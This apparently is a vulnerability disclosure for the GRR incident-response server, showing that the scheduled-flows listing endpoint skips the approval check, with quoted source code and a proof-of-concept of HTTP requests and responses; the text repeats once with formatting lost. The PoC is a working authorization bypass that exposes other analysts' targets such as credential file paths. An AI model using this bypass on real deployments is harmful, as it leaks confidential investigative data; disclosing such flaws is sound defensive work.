https://issuetracker.google.com/issues/526047481
Affected Versions: confirmed on 4.0.0.0 (HEAD 9f8f797)
Summary
Any authenticated GRR user can enumerate another user's pending scheduled flows on any client, including the full flow arguments (target file paths, artifact names, etc.), without holding or requesting a client approval. The endpoint GET /api/v2/clients/<client_id>/scheduled-flows/<creator> bypasses the approval-based access control that protects every other client-data endpoint.
Details
GRR's approval model gates all client data operations behind an explicit approval workflow. The ApiCallRouterWithApprovalChecks router enforces this by calling self.approval_checker.CheckClientAccess(context, args.client_id) (or the hunt/cron equivalents) on every sensitive handler. However, ListScheduledFlows has no such check:
grr/server/grr_response_server/gui/api_call_router_with_approval_checks.py, lines 710-715:
def ListScheduledFlows(
self,
args: api_flow_pb2.ApiListScheduledFlowsArgs,
context: Optional[api_call_context.ApiCallContext] = None,
) -> api_flow.ApiListScheduledFlowsHandler:
return self.delegate.ListScheduledFlows(args, context=context)
No CheckClientAccess, no ownership check on args.creator. Compare the sibling endpoint ListFlows at line 524 which requires approval before it returns:
def ListFlows(self, args, context=None):
self.approval_checker.CheckClientAccess(context, args.client_id)
return self.delegate.ListFlows(args, context=context)
The handler ApiListScheduledFlowsHandler (flow.py, lines 1403-1420) passes args.creator directly from the URL to the database query with no validation:
def Handle(self, args, context=None):
results = flow.ListScheduledFlows(
client_id=args.client_id, creator=args.creator
)
The URL route is GET /api/v2/clients/<client_id>/scheduled-flows/<creator> (api_call_router.py, line 1022). The creator field in the URL is passed directly into the DB query via _FillProtoWithRouteArgs, so any caller can enumerate any user's scheduled flows on any client.
The ApiScheduledFlow proto response (flow.proto, lines 408-419) includes flow_name and flow_args -- the full Any-packed flow arguments containing target file paths, artifact selections, and any other sensitive operational parameters the planning user submitted.
PoC
Prerequisites: GRR server running with ApiCallRouterWithApprovalChecks as the default router (production configuration). Two accounts: alice (analyst who has scheduled a flow) and bob (analyst with no approval or relationship to alice's target client).
- Alice schedules a FileFinder flow on client
C.aabbccddeeff0011 (via the UI or API):
POST /api/v2/clients/C.aabbccddeeff0011/scheduled-flows HTTP/1.1
Authorization: Basic YWxpY2U6...
X-CSRFToken: <token>
Content-Type: application/json
{"clientId": "C.aabbccddeeff0011", "flow": {"name": "FileFinder", "args": {"@type": "type.googleapis.com/grr.FileFinderArgs", "paths": ["/etc/shadow", "/home/target-user/.ssh/id_rsa"]}}}
Response: 200 with scheduledFlowId.
- Bob (no approval on this client) reads alice's scheduled flows:
GET /api/v2/clients/C.aabbccddeeff0011/scheduled-flows/alice HTTP/1.1
Authorization: Basic Ym9iOi4uLg==
Response (HTTP 200):
{"scheduledFlows": [{"scheduledFlowId": "31A94490C9192359", "clientId": "C.aabbccddeeff0011", "creator": "alice", "flowName": "FileFinder", "flowArgs": {"@type": "type.googleapis.com/grr.FileFinderArgs", "paths": ["/etc/shadow", "/home/target-user/.ssh/id_rsa"]}, "createTime": "1781921551882868"}]}
For comparison, Bob's attempt to call the approval-gated sibling endpoint returns 403:
GET /api/v2/clients/C.aabbccddeeff0011/flows HTTP/1.1
Authorization: Basic Ym9iOi4uLg==
Response (HTTP 403): {"message": "Access denied by ACL: No approval found.", "subject": "aff4:/C.aabbccddeeff0011"}
Tested live on commit 9f8f797 (GRR 4.0.0.0).
Impact
Any authenticated GRR user can read the pending scheduled flows of all other analysts on any client, including the full flow arguments: target file paths (e.g., /etc/shadow, SSH keys), artifact collection lists, and other sensitive operational parameters. An attacker with a valid GRR account can map out which clients are under active investigation, what files are being targeted, and which artifacts are being collected -- all without ever obtaining a client approval. In GRR deployments where the scheduled-flow feature is used (it is the recommended workflow for scheduling flows pending approval), this leaks the entire investigative context of other analysts.
https://issuetracker.google.com/issues/526047481
Affected Versions: confirmed on 4.0.0.0 (HEAD 9f8f797)
Summary
Any authenticated GRR user can enumerate another user's pending scheduled flows on any client, including the full flow arguments (target file paths, artifact names, etc.), without holding or requesting a client approval. The endpoint
GET /api/v2/clients/<client_id>/scheduled-flows/<creator>bypasses the approval-based access control that protects every other client-data endpoint.Details
GRR's approval model gates all client data operations behind an explicit approval workflow. The
ApiCallRouterWithApprovalChecksrouter enforces this by callingself.approval_checker.CheckClientAccess(context, args.client_id)(or the hunt/cron equivalents) on every sensitive handler. However,ListScheduledFlowshas no such check:grr/server/grr_response_server/gui/api_call_router_with_approval_checks.py, lines 710-715:No
CheckClientAccess, no ownership check onargs.creator. Compare the sibling endpointListFlowsat line 524 which requires approval before it returns:The handler
ApiListScheduledFlowsHandler(flow.py, lines 1403-1420) passesargs.creatordirectly from the URL to the database query with no validation:The URL route is
GET /api/v2/clients/<client_id>/scheduled-flows/<creator>(api_call_router.py, line 1022). Thecreatorfield in the URL is passed directly into the DB query via_FillProtoWithRouteArgs, so any caller can enumerate any user's scheduled flows on any client.The
ApiScheduledFlowproto response (flow.proto, lines 408-419) includesflow_nameandflow_args-- the full Any-packed flow arguments containing target file paths, artifact selections, and any other sensitive operational parameters the planning user submitted.PoC
Prerequisites: GRR server running with
ApiCallRouterWithApprovalChecksas the default router (production configuration). Two accounts:alice(analyst who has scheduled a flow) andbob(analyst with no approval or relationship to alice's target client).C.aabbccddeeff0011(via the UI or API):Response: 200 with scheduledFlowId.
Response (HTTP 200):
{"scheduledFlows": [{"scheduledFlowId": "31A94490C9192359", "clientId": "C.aabbccddeeff0011", "creator": "alice", "flowName": "FileFinder", "flowArgs": {"@type": "type.googleapis.com/grr.FileFinderArgs", "paths": ["/etc/shadow", "/home/target-user/.ssh/id_rsa"]}, "createTime": "1781921551882868"}]}For comparison, Bob's attempt to call the approval-gated sibling endpoint returns 403:
Response (HTTP 403):
{"message": "Access denied by ACL: No approval found.", "subject": "aff4:/C.aabbccddeeff0011"}Tested live on commit 9f8f797 (GRR 4.0.0.0).
Impact
Any authenticated GRR user can read the pending scheduled flows of all other analysts on any client, including the full flow arguments: target file paths (e.g.,
/etc/shadow, SSH keys), artifact collection lists, and other sensitive operational parameters. An attacker with a valid GRR account can map out which clients are under active investigation, what files are being targeted, and which artifacts are being collected -- all without ever obtaining a client approval. In GRR deployments where the scheduled-flow feature is used (it is the recommended workflow for scheduling flows pending approval), this leaks the entire investigative context of other analysts.